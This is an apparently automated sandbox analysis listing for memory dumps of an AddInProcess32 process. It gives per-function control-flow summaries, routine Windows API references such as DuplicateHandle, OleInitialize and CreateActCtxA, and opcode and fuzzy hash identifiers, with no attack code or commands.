                                                              • Opcode Fuzzy Hash: ace2e118ea3d29f64d82854eb4705820774fc1daaab37ab29751f58764577e22
                                                              • Instruction Fuzzy Hash: 8241FFB0C10719CBDB24CFA9C844B8EFBF5BF49304F2080AAD408AB255DBB56945CF90
                                                              Function 022A8120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 800 22a8120-22a81b4 DuplicateHandle 801 22a81bd-22a81da 800->801 802 22a81b6-22a81bc 800->802 802->801
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 022A81A7
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: fdc6fc3599386dfa1e60e1a141d4762ed83806f16b4dc25313caddd2b6526621
                                                              • Instruction ID: 442b71071d9114b00d4f1f75b87be180cf4a85698ede2e79683bd257360ecd80
                                                              • Opcode Fuzzy Hash: fdc6fc3599386dfa1e60e1a141d4762ed83806f16b4dc25313caddd2b6526621
                                                              • Instruction Fuzzy Hash: 5721C2B59002599FDB10CFAAD984ADEFFF8EB48320F14841AE958A7350D374A944CFA5
                                                              Function 022A8010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 805 22a8010-22a8baa OleInitialize 807 22a8bac-22a8bb2 805->807 808 22a8bb3-22a8bd0 805->808 807->808
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 022A8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 6cbf72280fec8f0bab91f84d6140d9244b8c63cf2866eb419affd1a849eec8ba
                                                              • Instruction ID: a249916c883a1e3695f2d1740bce19d5573a7294d0a748242775f68cf92823a2
                                                              • Opcode Fuzzy Hash: 6cbf72280fec8f0bab91f84d6140d9244b8c63cf2866eb419affd1a849eec8ba
                                                              • Instruction Fuzzy Hash: CD1142B09103488FCB20DF9AD548BDEFBF8EB48320F208869D518A7310C374A940CFA5
                                                              Function 022A8B40 Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 811 22a8b40-22a8baa OleInitialize 812 22a8bac-22a8bb2 811->812 813 22a8bb3-22a8bd0 811->813 812->813
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 022A8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 6ee43b2da1d06ec9c932ead28c3e5d7fc9b6b61201e3bdce5c3498ac77abab15
                                                              • Instruction ID: 966c2a536bb3a6f521ee56648d0200c2b2d841a4e4e86657033fc5b065e0ba71
                                                              • Opcode Fuzzy Hash: 6ee43b2da1d06ec9c932ead28c3e5d7fc9b6b61201e3bdce5c3498ac77abab15
                                                              • Instruction Fuzzy Hash: 331142B5900349CFDB10DFA9D545BDEBBF4EB48324F20886AD558A7250D334A544CFA5
                                                              Function 022A9FB8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 022AA010
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 81f212f6001558d4e0fd52a854287445e1978234347b743a88970e30817ac96f
                                                              • Instruction ID: 93c1180e2a652ad5004933aeebf616f0de1c2074be867912d2fbc807bb73d9f0
                                                              • Opcode Fuzzy Hash: 81f212f6001558d4e0fd52a854287445e1978234347b743a88970e30817ac96f
                                                              • Instruction Fuzzy Hash: 861122B18002498FCB20DF9AC545BDEBBF4EF48320F10842AD558A7240D738A944CFA5
                                                              Function 022A9FB2 Relevance: 1.3, APIs: 1, Instructions: 46COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 022AA010
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 6f1e07f3588058d6da505b3ae27546cf00f0cae478a79a7ff88a944cb830856d
                                                              • Instruction ID: 01556466414a7ebdb41457e07e78c6d71d42f44b89227c8486d3f2b67b8659fd
                                                              • Opcode Fuzzy Hash: 6f1e07f3588058d6da505b3ae27546cf00f0cae478a79a7ff88a944cb830856d
                                                              • Instruction Fuzzy Hash: E51152B5800349CFCB20CF99D1457EEBBF0EF48320F14882AD998A7640D738A984CFA5
                                                              Function 0090D4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1924422977.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_90d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e08ab1a156e771e615fc9750041409f78fb600849f8c9f22adb0a389096b429b
                                                              • Instruction ID: 3af15da2e2e1266efa3c5add7278dd1246b2e91182be26c5bc37227ed4cf0549
                                                              • Opcode Fuzzy Hash: e08ab1a156e771e615fc9750041409f78fb600849f8c9f22adb0a389096b429b
                                                              • Instruction Fuzzy Hash: B2212871500200DFDB05DF54D9C0B26BFA5FB98318F208569ED094B29AC33AD856C6A1
                                                              Function 0090D4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1924422977.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_90d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: 6ea7c5bb68e604d2ccf6b1569128b8c85f27708358b4b1d995f48dd6ba3a4384
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: EB11E676504240CFDB16CF54D9C4B16BF72FB94328F24C6A9ED090B25AC33AD85ACBA1

                                                              Execution Graph

                                                              Execution Coverage:10.4%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:44
                                                              Total number of Limit Nodes:6
                                                              execution_graph 7308 25b0848 7309 25b0852 7308->7309 7311 25b21a0 7308->7311 7312 25b21ac 7311->7312 7316 25b229f 7312->7316 7320 25b22b0 7312->7320 7317 25b22a8 7316->7317 7319 25b23b4 7317->7319 7324 25b1f0c 7317->7324 7322 25b22b2 7320->7322 7321 25b23b4 7321->7321 7322->7321 7323 25b1f0c CreateActCtxA 7322->7323 7323->7321 7325 25b3340 CreateActCtxA 7324->7325 7327 25b3403 7325->7327 7327->7327 7328 25b9fb8 CloseHandle 7329 25ba01f 7328->7329 7330 25b86e8 7332 25b86fd 7330->7332 7331 25b8710 7332->7331 7339 25b7f20 7332->7339 7335 25b7f20 OleInitialize 7336 25b874f 7335->7336 7336->7331 7344 25b7ff4 7336->7344 7338 25b87fc 7341 25b7f2b 7339->7341 7340 25b871e 7340->7331 7340->7335 7341->7340 7342 25b7ff4 OleInitialize 7341->7342 7343 25b87fc 7342->7343 7345 25b7fff 7344->7345 7346 25b8b13 7345->7346 7348 25b8010 7345->7348 7346->7338 7349 25b8b48 OleInitialize 7348->7349 7350 25b8bac 7349->7350 7350->7346 7351 25b7ad0 7352 25b7b16 GetCurrentProcess 7351->7352 7354 25b7b68 GetCurrentThread 7352->7354 7355 25b7b61 7352->7355 7356 25b7b9e 7354->7356 7357 25b7ba5 GetCurrentProcess 7354->7357 7355->7354 7356->7357 7358 25b7bdb 7357->7358 7359 25b7c03 GetCurrentThreadId 7358->7359 7360 25b7c34 7359->7360 7361 25b8120 DuplicateHandle 7362 25b81b6 7361->7362

                                                              Executed Functions

                                                              Function 025B7AA8 Relevance: 6.1, APIs: 4, Instructions: 140threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 263 25b7aa8-25b7b5f GetCurrentProcess 269 25b7b68-25b7b9c GetCurrentThread 263->269 270 25b7b61-25b7b67 263->270 271 25b7b9e-25b7ba4 269->271 272 25b7ba5-25b7bd9 GetCurrentProcess 269->272 270->269 271->272 274 25b7bdb-25b7be1 272->274 275 25b7be2-25b7bfd call 25b80a8 272->275 274->275 278 25b7c03-25b7c32 GetCurrentThreadId 275->278 279 25b7c3b-25b7c9d 278->279 280 25b7c34-25b7c3a 278->280 280->279
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 025B7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 025B7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 025B7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 025B7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 6bd62a1b2d16c76e44d48eff4cfb6cb5a8c165d12b5e28979e92d7af5ba9f05a
                                                              • Instruction ID: 54b166988c94b7e655a4fdbc88caf2c0a70f64abdb6c4a3449c1ab9cc21d700b
                                                              • Opcode Fuzzy Hash: 6bd62a1b2d16c76e44d48eff4cfb6cb5a8c165d12b5e28979e92d7af5ba9f05a
                                                              • Instruction Fuzzy Hash: D45196B09002498FDB15DFA9D548BDEBFF1FF88314F2084A9D048A7261DB349988CF69
                                                              Function 025B7AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 287 25b7ad0-25b7b5f GetCurrentProcess 291 25b7b68-25b7b9c GetCurrentThread 287->291 292 25b7b61-25b7b67 287->292 293 25b7b9e-25b7ba4 291->293 294 25b7ba5-25b7bd9 GetCurrentProcess 291->294 292->291 293->294 296 25b7bdb-25b7be1 294->296 297 25b7be2-25b7bfd call 25b80a8 294->297 296->297 300 25b7c03-25b7c32 GetCurrentThreadId 297->300 301 25b7c3b-25b7c9d 300->301 302 25b7c34-25b7c3a 300->302 302->301
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 025B7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 025B7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 025B7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 025B7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 9ec3f1c6b22ace89169817acea6aa4e0d105ccc4fe24603a29f4d8d4ff57cde3
                                                              • Instruction ID: bfbb6c9d88d484bd29c4c45a3feed67f00108d004bb6c54e2838354872394374
                                                              • Opcode Fuzzy Hash: 9ec3f1c6b22ace89169817acea6aa4e0d105ccc4fe24603a29f4d8d4ff57cde3
                                                              • Instruction Fuzzy Hash: E65124B49002498FDB24DFA9D548BDEBBF1BF88314F208469E059A7360D7749984CF69
                                                              Function 025B1F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 474 25b1f0c-25b3401 CreateActCtxA 477 25b340a-25b3464 474->477 478 25b3403-25b3409 474->478 485 25b3473-25b3477 477->485 486 25b3466-25b3469 477->486 478->477 487 25b3479-25b3485 485->487 488 25b3488 485->488 486->485 487->488 489 25b3489 488->489 489->489
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 025B33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 9a674478bec629d50dd6b994ec6644fd111995cfd95c8b88d7d15549033480a8
                                                              • Instruction ID: ba270fb949fc8c5aac45e8168fd790ec41810d2efd4653f4c487783651a7d7fb
                                                              • Opcode Fuzzy Hash: 9a674478bec629d50dd6b994ec6644fd111995cfd95c8b88d7d15549033480a8
                                                              • Instruction Fuzzy Hash: 9241FFB0C00619DFDB25CFA9C944BDEBBB5BF48304F2080AAD408BB251DBB56949CF90
                                                              Function 025B3337 Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 491 25b3337-25b3339 492 25b333b-25b3401 CreateActCtxA 491->492 494 25b340a-25b3464 492->494 495 25b3403-25b3409 492->495 502 25b3473-25b3477 494->502 503 25b3466-25b3469 494->503 495->494 504 25b3479-25b3485 502->504 505 25b3488 502->505 503->502 504->505 506 25b3489 505->506 506->506
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 025B33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 501bc93d93482dc2bb33b14733961703960998d948b8cba3acc0440bbd9ec932
                                                              • Instruction ID: f30deb12833d7711a97b56e5e2749cc67ba931ea94d99876ece95e93d9b1e8a7
                                                              • Opcode Fuzzy Hash: 501bc93d93482dc2bb33b14733961703960998d948b8cba3acc0440bbd9ec932
                                                              • Instruction Fuzzy Hash: 0E410FB0C00619DFDB25CFA9C844BDEFBB1BF49304F2080AAD408AB251DB75694ACF90
                                                              Function 025B8118 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 508 25b8118-25b811d 509 25b8120-25b81b4 DuplicateHandle 508->509 510 25b81bd-25b81da 509->510 511 25b81b6-25b81bc 509->511 511->510
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 025B81A7
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: d3d8bbe1c8f62126eb22b354598304be7acbbd4ee0231bd297ec5fe03a2bbdb1
                                                              • Instruction ID: b27620911e95b1feec60e305fbbd1ffc79d08a78a2b8fabafa0d0027d7dcb386
                                                              • Opcode Fuzzy Hash: d3d8bbe1c8f62126eb22b354598304be7acbbd4ee0231bd297ec5fe03a2bbdb1
                                                              • Instruction Fuzzy Hash: 8021E5B5D002199FDB10CF9AD984ADEBFF8FB48320F14842AE914A3350D374A944CFA5
                                                              Function 025B8120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 514 25b8120-25b81b4 DuplicateHandle 515 25b81bd-25b81da 514->515 516 25b81b6-25b81bc 514->516 516->515
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 025B81A7
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 71acb0219297c0d81c44b4298ac3f115987534dc6040361b3b6c3b846d8e1091
                                                              • Instruction ID: e1726df43d6dc989e1e3fbb784616eb55096bf7b46b5c401c1b55b5717a6d8f8
                                                              • Opcode Fuzzy Hash: 71acb0219297c0d81c44b4298ac3f115987534dc6040361b3b6c3b846d8e1091
                                                              • Instruction Fuzzy Hash: 4621E3B59002189FDB10CF9AD984ADEBFF8FB48320F14841AE914A3310C374A940CFA4
                                                              Function 025B8010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 519 25b8010-25b8baa OleInitialize 521 25b8bac-25b8bb2 519->521 522 25b8bb3-25b8bd0 519->522 521->522
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 025B8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 51c95f45cd288ceb69e421e69f7a5bece40fe01034ff2e6c218906a31d25255c
                                                              • Instruction ID: 3fc950d27df15b48ae95c243dbedace3879011518819db91906b3a8c05ee73ad
                                                              • Opcode Fuzzy Hash: 51c95f45cd288ceb69e421e69f7a5bece40fe01034ff2e6c218906a31d25255c
                                                              • Instruction Fuzzy Hash: 8E1103B59002488FCB20DFAAD549BDEFBF8FB48324F248469D518A7310C375A944CFA5
                                                              Function 025B8B40 Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 525 25b8b40-25b8baa OleInitialize 526 25b8bac-25b8bb2 525->526 527 25b8bb3-25b8bd0 525->527 526->527
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 025B8B9D
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: b2c239c0b824ee81e515ebf104fedadf68620815d1356268a8b7d0a262c177c8
                                                              • Instruction ID: 34000c86bfa76087124465bf32eabe976f481b028ca199191ce278983adbcc76
                                                              • Opcode Fuzzy Hash: b2c239c0b824ee81e515ebf104fedadf68620815d1356268a8b7d0a262c177c8
                                                              • Instruction Fuzzy Hash: C71145B5900219CFCB10DFA9D5857CEFBF5FB48324F208859C518A3250C374A544CFA5
                                                              Function 025B9FB1 Relevance: 1.3, APIs: 1, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 025BA010
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 1145e2abdaa1f251e14d676cb7e1f4655261db141d3200d096442d4c34bd247d
                                                              • Instruction ID: d93204049e015105094fc6f2f7976861d90d968b246356bdd534b3f19296ed0b
                                                              • Opcode Fuzzy Hash: 1145e2abdaa1f251e14d676cb7e1f4655261db141d3200d096442d4c34bd247d
                                                              • Instruction Fuzzy Hash: 0E1125B59003498FCB20DF9AD544BDEBFF4EB48320F10842AD558A7250D778A544CFA5
                                                              Function 025B9FB8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?), ref: 025BA010
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.1926206734.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_25b0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: f79307576a6e11ccf8987344b16352af20165330a608c3c45ec935687b6f8e0d
                                                              • Instruction ID: fb06410fd58c9c9911516807aafe06e74d3f3a970e6f15e001a1df80b4ca2753
                                                              • Opcode Fuzzy Hash: f79307576a6e11ccf8987344b16352af20165330a608c3c45ec935687b6f8e0d
                                                              • Instruction Fuzzy Hash: 2511F2B58003498FCB20DF9AD545BEEBBF4EB48320F20846AD558A7250D779A984CFA5

                                                              Execution Graph

                                                              Execution Coverage:10.3%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:35
                                                              Total number of Limit Nodes:4
                                                              execution_graph 7492 26f0848 7493 26f0852 7492->7493 7495 26f21a0 7492->7495 7496 26f21c5 7495->7496 7500 26f229f 7496->7500 7505 26f22b0 7496->7505 7501 26f22af 7500->7501 7502 26f21cf 7500->7502 7504 26f23b4 7501->7504 7509 26f1f0c 7501->7509 7502->7493 7506 26f22d7 7505->7506 7507 26f23b4 7506->7507 7508 26f1f0c CreateActCtxA 7506->7508 7507->7507 7508->7507 7510 26f3340 CreateActCtxA 7509->7510 7512 26f3403 7510->7512 7513 26f9fb8 CloseHandle 7514 26fa01f 7513->7514 7515 26f8621 7518 26f8afe 7515->7518 7519 26f8b03 7518->7519 7520 26f8626 7519->7520 7522 26f8010 7519->7522 7523 26f8b48 OleInitialize 7522->7523 7524 26f8bac 7523->7524 7524->7520 7525 26f7ad0 7526 26f7b16 GetCurrentProcess 7525->7526 7528 26f7b68 GetCurrentThread 7526->7528 7529 26f7b61 7526->7529 7530 26f7b9e 7528->7530 7531 26f7ba5 GetCurrentProcess 7528->7531 7529->7528 7530->7531 7534 26f7bdb 7531->7534 7532 26f7c03 GetCurrentThreadId 7533 26f7c34 7532->7533 7534->7532 7535 26f8120 DuplicateHandle 7536 26f81b6 7535->7536

                                                              Executed Functions

                                                              Function 026F7AA8 Relevance: 6.1, APIs: 4, Instructions: 144threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 263 26f7aa8-26f7b5f GetCurrentProcess 269 26f7b68-26f7b9c GetCurrentThread 263->269 270 26f7b61-26f7b67 263->270 271 26f7b9e-26f7ba4 269->271 272 26f7ba5-26f7bd9 GetCurrentProcess 269->272 270->269 271->272 273 26f7bdb-26f7be1 272->273 274 26f7be2-26f7bfd call 26f80a8 272->274 273->274 278 26f7c03-26f7c32 GetCurrentThreadId 274->278 279 26f7c3b-26f7c9d 278->279 280 26f7c34-26f7c3a 278->280 280->279
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 026F7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 026F7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 026F7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 026F7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: c0ea97bd59ea9d673d09e706132644b84d08629bbd342a3584ee482021d0501c
                                                              • Instruction ID: d7b79380f8425ca35d25f3ee46eaf4c1bbe4579594b95bdf6514b73d322d1e55
                                                              • Opcode Fuzzy Hash: c0ea97bd59ea9d673d09e706132644b84d08629bbd342a3584ee482021d0501c
                                                              • Instruction Fuzzy Hash: 945197B09013488FEB45DFA9D548BDEBBF1EF89304F208099D058A7361D734A984CF65
                                                              Function 026F7AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 287 26f7ad0-26f7b5f GetCurrentProcess 291 26f7b68-26f7b9c GetCurrentThread 287->291 292 26f7b61-26f7b67 287->292 293 26f7b9e-26f7ba4 291->293 294 26f7ba5-26f7bd9 GetCurrentProcess 291->294 292->291 293->294 295 26f7bdb-26f7be1 294->295 296 26f7be2-26f7bfd call 26f80a8 294->296 295->296 300 26f7c03-26f7c32 GetCurrentThreadId 296->300 301 26f7c3b-26f7c9d 300->301 302 26f7c34-26f7c3a 300->302 302->301
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 026F7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 026F7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 026F7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 026F7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: d4ae21822b78597ade50ae0f20ba43cf34e18e986132c1a4e13f168cc6327380
                                                              • Instruction ID: 6e12e6906038594520c24162f002e2c0e789d0ebb6e8787711582d99c2cc01d4
                                                              • Opcode Fuzzy Hash: d4ae21822b78597ade50ae0f20ba43cf34e18e986132c1a4e13f168cc6327380
                                                              • Instruction Fuzzy Hash: B45166B4900209CFEB45DFA9D548B9EFBF1EF88304F208459E159A7360D734A984CF65
                                                              Function 026F3336 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 500 26f3336-26f3401 CreateActCtxA 502 26f340a-26f3464 500->502 503 26f3403-26f3409 500->503 510 26f3466-26f3469 502->510 511 26f3473-26f3477 502->511 503->502 510->511 512 26f3479-26f3485 511->512 513 26f3488 511->513 512->513 515 26f3489 513->515 515->515
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 026F33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000C.00000002.1927367810.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_12_2_26f0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 34e6da26d09d747e9b160e96d5646efa77918023e99146266dc945ab681b76e7
